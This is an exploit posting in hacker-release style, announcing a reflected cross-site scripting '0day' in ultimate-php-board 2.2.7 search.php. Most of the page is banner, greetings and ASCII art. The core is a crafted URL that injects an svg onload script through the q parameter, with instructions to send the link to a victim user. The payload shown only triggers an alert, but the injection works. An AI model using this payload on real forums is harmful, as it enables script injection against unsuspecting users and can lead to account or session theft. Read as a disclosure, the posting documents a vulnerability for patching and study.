ultimate-php-board 2.2.7 XSS

#########################################################################

[+] Exploit Title : ultimate-php-board 2.2.7 XSS
[+] Author : Pablo '7days' Riberio
[+] Team: So Good Security
[+] Other 0days : http://pastebin.com/u/7days
[+] Version : <= version 2.2.7
[+] Tested on : windows/internet explorer
[+] Details: Cross Scripting
[+] Vendor: http://sourceforge.net/projects/textmb/?source=dlp
#########################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz: Greg, Sonya from Mortal Kombat, the owner of the japanese steak creation factory,
my home boy linus, all the cockneys and my grandma <3
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
no thnx 2: microsoft, windoz, estate agents and recruiters
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                      `..`.:::.`
                     .://o:::///:.
                    `::+y+::::::/+/`
                     :/++/::/:/--:+o:`
                     `://:-:/-/:.-:/oo.
                      `/-.-:::/o---::+o.
                       ....-:/+hs::--:+o
                        .``-//ohh+----:+.
                       `.``-/+syhs:----/+`
                      .-.`.-:+syyo:--.-:+/
                    `---.`.-/+yo/:-----:+o.
                   .::-...-:+/o/-.-----:+so`
                 .-::-...-:::::-----:://osy:
                .::-....--:::----::/+ooosys-
               `:--.....-:/:::::/+osyyyyo:`
`             `----...--:/++++oosyyhhy+-`
:::::-------:::---..--:/+oossyyhhhhs/.
::::::-------:--.-.--:+osyyyhhhhho-`
------------.....--:/+oyyhhhhhy+.
-----------...---:/+osyhhhhyo:`
:::::-------:::/+osyyhhhhs/.
++++++++++++oossyyhhhhs/.
sssssssyyyyhhhhhhhyo:.`
        ``..---..`

                          portuguese cyber army
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] Begin 0day
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Send the user a link to this page to triger the issue:
http://www.victim.com/upb2.2.7/search.php?q='><svg+onload=alert('7 days');>&user=&req=AND&forums_req

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] End 0day
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-